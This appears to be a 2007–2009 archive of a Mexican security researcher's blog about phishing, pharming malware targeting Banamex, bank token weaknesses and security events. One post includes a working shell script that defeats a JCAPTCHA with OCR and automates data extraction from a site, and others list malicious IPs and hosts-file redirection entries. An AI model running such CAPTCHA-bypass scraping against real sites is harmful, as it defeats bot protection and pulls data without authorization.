Eduardo Espina's blog

Día Internacional de la Seguridad en Cómputo

2009-11-16T13:33:00.001-06:00

El DISC 2009 México será celebrado el 30 de noviembre de 2009 teniendo como sede el Instituto de Investigaciones en Materiales, localizado dentro de las instalaciones de Ciudad Universitaria.

El DISC es el Día Internacional de la Seguridad en Cómputo. Es una celebración convocada por la Association for Computing Machinery (ACM) en el año de 1988 con el propósito de incrementar el nivel de conciencia en relación a los problemas de la seguridad en cómputo. Con el paso de los años ha ido aumentando a nivel mundial el interés por este día. El Departamento de Seguridad en Cómputo/UNAM-CERT de la Dirección General de Servicios de Cómputo Académico es el organismo oficial en México encargado de celebrar el DISC desde 1994.

En esta emisión, el tema principal del DISC será "La primera defensa eres tú".

Link

CAPTCHA Security: A Case Study

2009-11-16T13:22:00.001-06:00

"CAPTCHAs have been widely used across the Internet to defend against undesirable or malicious bot programs. In this article, the authors describe the security of a CAPTCHA reported in a recent peer-reviewed paper and deployed on the Internet. They show that although this scheme was effectively resistant to one of the best optical character recognition programs on the market, they could break it with a success rate of higher than 90 percent by using a simple but novel attack. In contrast to early work that relied on sophisticated computer vision or machine learning algorithms, they used simple pattern recognition algorithms that exploited fatal design errors. The main contribution of their work is that simply counting the pixels in a CAPTCHA's characters can be a very powerful attack."

Link to e-article.

H D Moore sells Metasploit

2009-10-23T13:55:00.000-05:00

H D Moore sells Metasploit: http://www.metasploit.com

Evolt

2009-10-16T17:42:00.001-05:00

One of the founding members of evolt.org, Adrian Roselli, has provided the archive as well as its support through his company, Algonquin Studios.
Lots of legacy browsers...

Seminario de seguridad en la UNAM

2009-08-19T22:29:00.000-05:00

La Facultad de Ingeniería a través de la División de Ingeniería Eléctrica hace una atenta invitación a:

Seminarios impartidos por:

Ing. Pavel Ocenasek, graduating PhD candidate
Brno University of Technology, Czech Republic
http://pavel.ocenasek.com/

Sala de videoconferencia del Centro de Docencia, Anexo de la Facultad de Ingeniería

21, 24 y 25 de Agosto 2009, de 12:00 a 14:00

Seminarios sobre los tópicos:

- Security Protocols and Authentication/Key Distribution Schemes
- Evolutionary Computation in Network Communication
- Evolutionary Algorithms in Security Design
- Computer Networks and Security
- CISCO Networking technologies (routers, switches, LAN, WAN, ...)
- Web Technologies and Security
- Web Accessibility
- Electronic Commerce, Payment Systems and Payment Protocols

New semester

2009-08-12T12:30:00.004-05:00

Today is the third day of a new semester at UNAM (both Bs and Ms). I have 6 students at "selected topics of security", we will be working with OSSTMM and vulnerability analysis, as well as fuzzing and other cool topics. The first challenge we met as teachers is to learn the names of the students, I only have 6 now, but used to be 40 when teaching other classes, I found a link with useful steps to remember most of the names, it's here.

Security Flaw Hits VAserv; Head of LxLabs Found Hanged

2009-06-11T08:19:00.003-05:00

"The discovery of 24 security vulnerabilities may have contributed to the death of the chief of LxLabs. A flaw in the company's HyperVM software allowed data on 100,000 sites, all hosted by VAserv, to be destroyed. The HyperVM solution is popular with cheap web hosting services and the attacks are easy to reproduce, which could lead to further incidents."

Link to the news.

Off-topic: Summit @ Pico de Orizaba

2009-04-28T13:03:00.010-05:00

This is totally an off-topic but it represents a personal achievement for me. Last sunday, April 26th I climbed Citlaltépetl to the summit (5630 msnm/masl), highest point in Mexico at 6:45 am local time.

Thanks to the brave and professional fellows at Grupo Universitario de Alta Montaña (UNAM) Here's the link to the pictures. Mens sana in corpore sano.

New token from Banamex

2009-04-23T12:54:00.004-05:00

A month ago I got an e-mail from Banamex (but hadn't had time to write down a blog entry) notifying of a new scheme to access to online bank system. (It's not a coincidence that Banamex is one of the main targets in Mexico for online fraud, they have a very weak system to authenticate users through an event-based token). It's good news to know that finally they're moving to a more effective system (although not fool-proof, there's still a scenario with MITM).

I haven't received the new token, so I don't have a first-hand experience yet, BUT... I hope the challenge-response scheme they're announcing implements TIME-BASED numbers and not only EVENT-BASED like they do now.

Captcha circumvention

2009-01-06T19:42:00.013-06:00

Last week I was trying to bypass a captcha implementation (JCAPTCHA) on a website I was hired to pentest. Although captchas can get very difficult to bypass I found a "weak link" through the WAP portion of the portal in question and I could extract a significant portion of data abusing the nonexistent distortion of the letters shown in the image.

You'll see, there is an OCR (optical character recognition softare) in Linux (tesseract) capable of "reading" the image given to the user, then this tool will write the characters to a text-file.
Using wget we can start http queries to a website, save and load cookies and write data to the filesystem. Putting it all together, we got a shellscript that will circumvent the captcha protection and extract the data in an automatic fashion (it's effective around 60%).

#!/bin/sh

wget http://www.somesite.com/jcaptcha --save-cookies cookies.txt --keep-session-cookies -O /tmp/captcha.jpg 2> /dev/null
djpeg -grayscale /tmp/captcha.jpg | convert - /tmp/captcha.tiff
tesseract /tmp/captcha.tiff jcaptcha
cap=`cat jcaptcha.txt`
wget "http://www.somesite.com/servlet?niv=&nrpv=&query=$somevalue&captcha=$cap" --load-cookies cookies.txt -O salida.txt 2> /dev/null
tam=`wc -c salida.txt| cut -c1-3`
echo $tam
if [ $tam -ne 701 ]; then
mv salida.txt $query.txt
fi

You may wonder why the script uses a length of 701 bytes to detect if the captcha has been defeated, well, it's just assuming the default "error" page has a length of 701 bytes, any other length it's assumed as info extracted from the database (ok, it's not the best approach, but it's just a PoC).

WPA partially broken

2008-11-07T14:03:00.002-06:00

"Security researchers say they've developed a way to partially crack the Wi-Fi Protected Access (WPA) encryption standard used to protect data on many wireless networks.

The attack, described as the first practical attack on WPA, will be discussed at the PacSec conference in Tokyo next week. There, researcher Erik Tews will show how he was able to crack WPA encryption and read data being sent from a router to a laptop computer. The attack could also be used to send bogus information to a client connected to the router."

Link.

Skype-in numbers for Mexico city

2008-10-22T18:57:00.002-05:00

It's been hard for me to keep the blog up-to-date due to, among others, excess of work, my class at UNAM, mountaineering on weekends.

Anyway, yesterday I've just paid a 3 month subscription to Skype-in service, meaning I can receive calls in my computer that have been generated, mostly, from local phones, I know this is old news for other countries, but in Mexico it's a new service. You can even choose your number (sort of, just the last 4 digits). I can think of many illegal scenarios for scams, and I think it won't take much time to attract the attention of criminals in Mexico, so bad.

UNAM's Computer security conference

2008-09-12T13:40:00.008-05:00

The UNAM's computer security conference will be held on September 25th-26th in Mexico city, the line-up includes (among others):

Eugene Schultz

Kimberly Zenz

Dr. Tom Holt

Peter Casidy

Lance Spitzner

Jess Vincent

Registration is now open for this 2-day event. The fee is $100 per person for both days.
Where: Palacio de Minería, downtown.
See you there two weeks from now.

New blog from my class

2008-08-25T09:48:00.003-05:00

I've just added a link to a blog related to computer security topics from my class at UNAM. We'll be discussing fresh news and other info. Sorry, only spanish.

Heart defibrillators & security

2008-07-28T12:40:00.003-05:00

A couple of weeks ago I received the printed version of "The Institute" newspaper from IEEE. Although not fresh news (I found some headlines dated March 13, 2008), there is an interesting article titled "hacking hearts" about the "hackability" of the human heart defibrillators.

Back in May the IEEE held a Symposium about privacy & security, and the topic of security of defibrillators was deeply discussed, "The researchers tricked the defibrillator into responding to their signals by recording a real device programmer talking electronically to a defibrillator, then replaying the signals wirelessly back to the defibrillator."

Were you concerned about your car's bluetooth connectivity?, what about this?

802.11n and vulnerabilities

2008-06-27T13:39:00.003-05:00

With the upcoming release of IEEE's 802.11n standard, I've been looking for already known vulnerabilities with the draft-based (2.0) products that have been sold for a while.

There are some interesting URLs where you can dig, like WVE and Joshua Wright's website. The standard is planned to be released on November 2008, and so the "certified" products, so we expect to find exploits, vulnerabilities shortly after.

Mexican Senate's site hacked

2008-05-09T17:41:00.004-05:00

Today the Mexican Senate's website has been hacked by a southamerican hacker group. It's been almost 10 years since that website was hacked by the X-ploit group. The people responsible for the Senate's website still have many lessons to learn.

Back to the roots

2008-05-09T16:01:00.003-05:00

I'm back at the UNAM-CERT after spending 3 months at NextiraOne. And it's a good returning for me because I've been told I'll be teaching at the engineering school at UNAM, a course of selected topics on network security.

Security patch for the "2wire authentication vulnerability"

2008-02-05T10:40:00.000-06:00

Today the UNAM-CERT has released an update to the security note published back in December 2007 that warned about an authentication vulnerability in the 2wire modems.

Last week the UNAM-CERT tested the new firmware that is scheduled to be released to the TELMEX users (prodigy Infinitum) later this month. The new firmware version is 5.29.135.5 and will be deployed in the next weeks. It is important to say that the update is automatic.

The complete information is here: http://www.cert.org.mx/nota/?vulne=5534

2wire authentication vulnerability reaches the mainstream

2008-01-27T13:07:00.000-06:00

It's been 50 days since the UNAM-CERT first warned about the 2wire authentication vulnerability we found through an 0-day exploit.

Many people and security-related companies have claimed that "that was old news" referring to the "cross site request forgery (XSRF)" vulnerability reported by a mexican hacker group back in August 2007, BUT our security note announced a brand-new-authentication-vulnerability that put in high risk more than 1 million users (at least) in Mexico.

Back in December 2007 we got in touch with 2wire and Telmex before releasing the security note, we were the first team to discover and to report the issue while some companies were buying their gifts for christmas day and cooking the turkey.

For those companies, the issue remained unnoticed for some weeks (even when we made public the vulnerability and when some blogs had been discussing the topic for a while). But two weeks ago a company (one of those cooking the turkey for the christmas back in 2007, TrendMicro) made a statement about the issue, 1 month after our security note was released (just in time) . It's funny TrendMicro is warning about a "massive attack to hit the mexican users" when this issue has been exploited for a long time.

It seems that TrendMicro Labs are only able to "predict attacks" when they have enough newspapers to "read the future".

Then appeared Symantec, some days ago, with the article "first case of drive-by-pharming in the wild", based on the Trendmicro statement (I guess).

But aside the flames, the important thing here is: antivirus and security-related companies based in the USA or other countries doesn't put enough efforts to detect the current threats in LatinAmerica or at least not in Mexico. And that's odd, because they sell a lot of licenses here, I think they should start working instead of warning of "(already) upcoming threats".

Shame on them!

Vulnerability in 2Wire routers

2007-12-11T13:30:00.000-06:00

We've just released a security advisory for a vulnerability in 2Wire routers that is being actively exploited through phishing.

The advisory is located here.

Win a car!, just click here

2007-12-03T21:08:00.000-06:00

I don't know if this scam really qualifies as "phishing" because it seems odd at first sight.

I don't know even if it really represents a threat to anyone. Let me explain, the e-mail asks the user to click on the attachment and answer a trivia to win a car, so what's this all about?

The picture of the "prize" is of a Volkswagen Golf (by the way, the name of the file is misspelled as "Wolsvagen") but not the brand new model, not even the previous one, the car is something around Mark 3 or Mark 4 (newest is Mark 5), I'm not sure because I'm not a VW fan nor expert, but certainly it isn't a Mark 5 VW Golf, you can take a look at the VW Mexico website.

So, my first thought was "this e-mail must be a joke", but when I analized the binary I realized that the threat was very real, the .exe file modifies the hosts file in Windows and, guess what, add some entries to replace the BANAMEX domain name.

I don't know if this is intentional, but in any case the phishers put little effort to deceive the user, finally, there's always a user who will try to "win the car" even if the car was dropped from production in Mexico many years ago.

Md5sum: 70d0a93d0001288ad057f41c7fd8a397
Filename: Wolsvagen-Sorteo.exe
IP: 65.23.158.58

Ps. I did some research and found that the car is indeed offered as a prize in Spain, so my guess is that this phishing scam originates in the Motherland.

iPhone targeted for hacking

2007-10-23T13:41:00.000-05:00

HDMoore has announced very good stuff to hack the iPhone (like adding an openssh to the phone and getting a rootshell). The entry has been added to the Metasploit blog.

I know it will be a long time before the iPhone make its debut in Mexico, but it seems like the delay will be worth it.

Malware speech

2007-10-12T12:32:00.000-05:00

Next monday I'm giving a speech at Facultad de Ingeniería, UNAM. Here is the complete information.

Pharming and One Time Passwords (OTP)

2007-09-02T18:39:00.000-05:00

Sadly, the pharming is increasing in Mexico, with local "look & feel" and targeting online banks, mainly Banamex.

Banamex (Citigroup in Mexico) is one of the largest banks in Mexico, so it is natural for phishers to target the users of this bank. But it isn't just related to the number of users but to the fact that Banamex uses NETKEY token to give online access. So, you may wonder why criminals are targeting Banamex if two-factor authentication is used?

The reason is, NETKEY is a "sequence-based token", this means a new pseudo-random number will be given to the user each time he/she pushes a key on the token, but won't expire after some time (like time-based tokens do).

Criminals will fool the user into thinking that he/she has reached the bank website, then the phisher will steal the login, the password and the OTP and show the user a message like "we're under maintenance, please come back in a few hours"; finally the phisher will get access to the online bank and steal the money (as long as the user doesn't log in to the genuine website before the e-robbery takes place).

The problem here is the OTP doesn't expire (I've tried with my NETKEY and I could log in two hours after reading the OTP at NETKEY's display), so the phisher has more time to steal the money. Other banks use time-based tokens so the phisher would need to log in with the stolen credentials within sixty seconds or less. Banamex should adopt the time-based solution, in the meantime its users are in risk.

Now, for the attack-vector part, the message says "a finnish kid was condemned because of a youtube video", and at the end of the text it prompts the user to download the supposed video.

The file is a .rar that contains an executable file that modifies the hosts file and it also opens a browser window with a video from youtube (in fact the video is in spanish).
The md5 of this file is: b845cbb13117a9776852bc86a802b51a

"Anti-fraud dipping birds" Unit

2007-08-29T22:12:00.000-05:00

At UNAM-CERT, we think that any help is good help. After the pharming attack we faced yesterday, we called the special forces unit.

With one hundred of these workers we could take the anti-fraud fight to a new level.

For information about"drinking birds": wikipedia.

Pharming attacks are on the rise, this time: UNAM-CERT

2007-08-28T11:46:00.000-05:00

Today's early morning we started receiving phone calls from people asking us about an e-mail they received last night. This e-mail included links to UNAM-CERT, a supposed "guide" to secure the PC and the UNAM-CERT's phone number.

Some user submitted to me a copy of the e-mail that supposedly came from UNAM-CERT, this e-mail included a text asking the recipients to download a supposed "guide" to secure their PCs (Manual.exe).

The md5 checksum of the malware is: fcfc77d1786572812aac1319e5ad5fde
This malware modifies the hosts file in Windows, redirecting www.banamex.com to an IP address under the control of the phisher.

What is really interesting in this attack is the fact that phishers are using well-known organizations as vector for infection, even when the final target is another website, like Banamex in this case.

For more information regarding recommendations and related info you should go to the UNAM-CERT official site.
For an in-depth analysis check the UNAM-CERT's malware blog.

The Privacy Risks of Social Networking Sites

2007-07-30T14:53:00.000-05:00

For those concerned about privacy on the Net and social networks like Facebook, Hi5, Myspace, etc., there is a good article in the last issue (May-June 2007) of IEEE's Security & Privacy magazine by David Rosenblum.

"For the Net generation, social networking sites have become the preferred forum for social interactions, from posturing and role playing to simply sounding off. However, because such forums are relatively easy to access, posted content can be reviewed by anyone with an interest in the users' personal information." "It is possible to glean personal information even without accessing a home page on these sites because many people use the public wall as a private message board to post intimate details of their lives, schedules, or recent sexual conquests. But what would motivate people to broadcast their private lives? As one user explained it: 'Like many of my generation, I consistently trade actual human contact for the more reliable high of smiles on MySpace, winks on Match.com, and pokes on Facebook. I live for Friendster views, profile comments, and the Dodgeball messages that clog my cell phone every night.”

Many websites ask its users to enter a "secret question/answer" in case they forget the password, so the user can recover/reset it. Many of the secret answers could be found at myspace or hi5, i.e.: name of the primary school, name of the pet, city of birth, favorite team.

Worst, many of these questions are used as authentication method at phone services offered by many banks, so when you call for the very first time you will be asked for your mother's maiden name and even if you didn't publish this info, it isn't hard for an attacker to directly ask this question at your myspace/hi5/facebook site(using social engineering). Worth a look.

Pharming in the wild

2007-07-27T15:37:00.000-05:00

My SPAM folder is an unbeatable source of malware, I think better than the honeynet project (JK); last week I found an e-mail with an interesting subject "Combate al robo de combustible" loosely translated "Fighting the gas rip-off", let me explain, in Mexico there are some gas station pumps that dispense less fuel than what you're paying for, you pay for 1 L but you get, let's say 900 ml (or less). Well, there is a study on this topic and a list of gas stations that rip you off.

Back to the e-mail stuff, it was supposedly sent by the "Tec de Monterrey" (private university in Mexico), it seems to be fake.
And it includes a link to a file that pretends to be the list of gas stations (Gasolinera.rar); inside this rar is contained a "gasolineras.exe" file with md5 hash: f5e9203e2d799cc98016db11a1832880.

It was evident this file was malware, but I always upload suspicious files to virustotal before start a deeper analysis (to save efforts in case of an existing malware), but reported nothing. Then I sent a copy of the file to the malware team at UNAM-CERT for analysis, at the same time I was trying to reverse-engineer the code to highlight the main activities of this malware.

The file has interesting strings:

Gasolineraxc
SeguridadBanamex
Gasolineras
ProductName
SeguridadBanamex
FileVersion
1.00
ProductVersion
1.00

This malware add entries to the "C:\WINDOWS\system32\drivers\etc\hosts" file, specifically:

209.40.195.154 banamex.com
209.40.195.154 www.banamex.com
209.40.195.154 banamex.com.mx
209.40.195.154 www.banamex.com.mx
72.249.77.180 www.bancanetempresarial.banamex.com.mx
209.40.195.154 bancanetempresarial.banamex.com.mx
209.40.195.154 boveda.banamex.com
209.40.195.154 www.boveda.banamex.com

This kind of attack is known as "PHARMING" and will fool the browser and other applications into resolving to fake internet portals, mainly online banks. This means, that when I type www.banamex.com at the browser, the system will go to check the hosts file, the malware previosly added the entry, so the www.banamex.com domain now belongs to the IP: 209.40.195.154, and of course the attacker has control over this IP.

The antivirus fails to detect this malware as potentially unwanted because doesn't open TCP ports, doesn't add entries to the windows registry and doesn't spy hardware interruptions (among other hacking activities), needless to say it's a very NASTY attack.

The details maybe quite technical for some people, but let's make an analogy: An attacker overwrites the yellowpages book, so when you try to reach Domino's pizza by phone you get in fact the number of Pizza hut.

So, how can I protect myself?, ALWAYS check the SSL certificate when browsing online banks, no matter you type directly the URL in the browser, and NEVER execute files received as attachment, even if antivirus says it's ok.

New celebrity phishing

2007-07-05T13:19:00.000-05:00

Today I found an interesting brand new (at least for me) vector of infection; usually when you are being phished the attackers send you e-mails with the look & feel of some bank's website trying to convince you of the authenticity of the site. But now it's being obvious and people do know how phishing e-mails look like.

This time I got a supposed video from a well-known magazine with the headline "Luis Miguel cheating on his wife", some pictures and three links to the "video". The video is a tvnotas.exe file.

You may wonder why would a victim click on that link, well Luis Miguel is a famous singer in Mexico, one of the richest, and all the magazines and TV programs are always following his career and personal life (far beyond of his public life). Maybe I'm not the target for this phishing, but I know a lot of people (mostly women) who would click before they finish reading "luis miguel"; you know, his wife is another beautiful woman "Araceli Arámbula", and it would be embarrasing to him to be caught "on action".

If you are curious about who was luis miguel supossedly kissing, it was "Jessica de Alba" (sic), I guess phisher was referring to "Jessica Alba" the chick from Dark Angel and Fantastic four.

After all this "background", I downloaded the tvnotas.exe troyan from www.nocleh.cz and uploaded to virus total (www.virustotal.com) to scan it. Virus total is a public free service in Spain, you can upload any file you like to get scanned for virus and malware.

From all the 30+ engines used at virus total, just 6 reported from "suspicious file" to "Trojan/Delphi.Downloader.Gen", Symantec and Mcafee reported nothing.

What we can learn from this is not to blindly trust the Antivirus. Everyday hackers are trying to fool you into clicking an image or link and have freshly programmed code that intercepts your request. You might get convinced with a headline and download a file, run the antivirus and as long as there isn't any alerts you double click the file and you are gone.

American Express phishing

2007-06-30T16:08:00.000-05:00

Yesterday I received a promotional flyer from American Express Mexico to speed up the collecting of membership rewards. Either I call by phone and ask for the promotion or sign up myself at Internet.

The problem is, when you access the URL you're asked for your credit card number, no problem. I would give my number after checked the SSL certificate and double-check I'm at the correct American Express site; but wait a moment... I opened the source code at Firefox browser to get myself assured about the destination of my credit card data:

form name="forma1" action="http://extranet.ogilvy.com.mx/amexoptin/default.asp"

Am I wrong or is there a missing "s" after the "http"?

It's not the first time I got promotionals from American Express asking for my account number without encryption layer over the Internet. Last time I was supposed to send my credit card number via e-mail (no encryption at all) and I would get 500 membership rewards.

Last time I wrote down "It seems that American Express is phishing... their clients", now I'm pretty sure they are.

Wardriving

2007-06-29T13:37:00.000-05:00

Like a month ago I was wardriving south of the city for a project at UNAM-CERT. I found a lot more networks than six months ago that I did a Wi-Fi reconnaissance; most of the networks were totally open like hotspots.

This is a growing problem in Mexico because wireless technology it's being recently widely adopted (with some years of delay respect to other countries). Everytime we do pentest we found the weakest link to be the wireless network, so bad.

Here some pictures of the kit for wardriving. (click for bigger image)

Online fraud in Mexico

2007-06-16T21:58:00.001-05:00

Last week, the UNAM's Computer Security Conference was held at the Palacio de Mineria in Mexico city. One of the sponsors was Bancomer and there was a discussion panel between Bancomer and Banamex.

The banks were trying to convince people that they do everything to protect your money online, the truth is, they just do the necessary to keep their business working and make profit of it.

One guy at the audience asked them, about an internet portal dedicated to online frauds of Bancomer, Banamex and many other banks with mexican clients (like HSBC, Santander, etc.)
I wrote down the URL (http://www.robosbancarios.com), and today I visited the site; I've been reading some of the affairs, needless to say, banks in Mexico SUCK BIG TIME.

I realized that I should asked to the bank guys why the hell they don't give details of the transactions to the affected clients, but I was busy with the conference organization. The banks justify saying they're following the "banking secret", the truth is they're just protecting criminals.

Another form of fraud in Mexico, and very common, is the social engineering. It would be interesting to hear why the banks call to your home/office offering new credit cards and ask for personal data that any criminal can gather to steal your identity, and it's perfectly legal. It's a form of phishing and banks do nothing to stop the modus operandi, they should adopt an anti-phishing policy for phone calls.

"Bancomer won't ask for personal information: Be suspicious of any unsolicited phone calls asking for your personal information", that would help a lot, but after all they are BANKS, they're more interested on getting new clients rather than protecting them.

Biometrics at UNAM-CERT

2007-06-15T18:28:00.001-05:00

Finally, today the access control mechanism were setup at UNAM-CERT, consisting of proximity card and biometric (fingerprint).

This mechanism is part of the new policy for SOC (Security Operations Center) at UNAM-CERT, DGSCA. The proximity card device has been the de-facto standard for a while, but the biometric gives added security to the scheme.

Switching to blogger

2007-06-15T17:42:00.000-05:00

This is an important day to this blog:

first, because I'm moving from my home-made blogging tool to blogger, and

second because I'm switching from spanish to english language.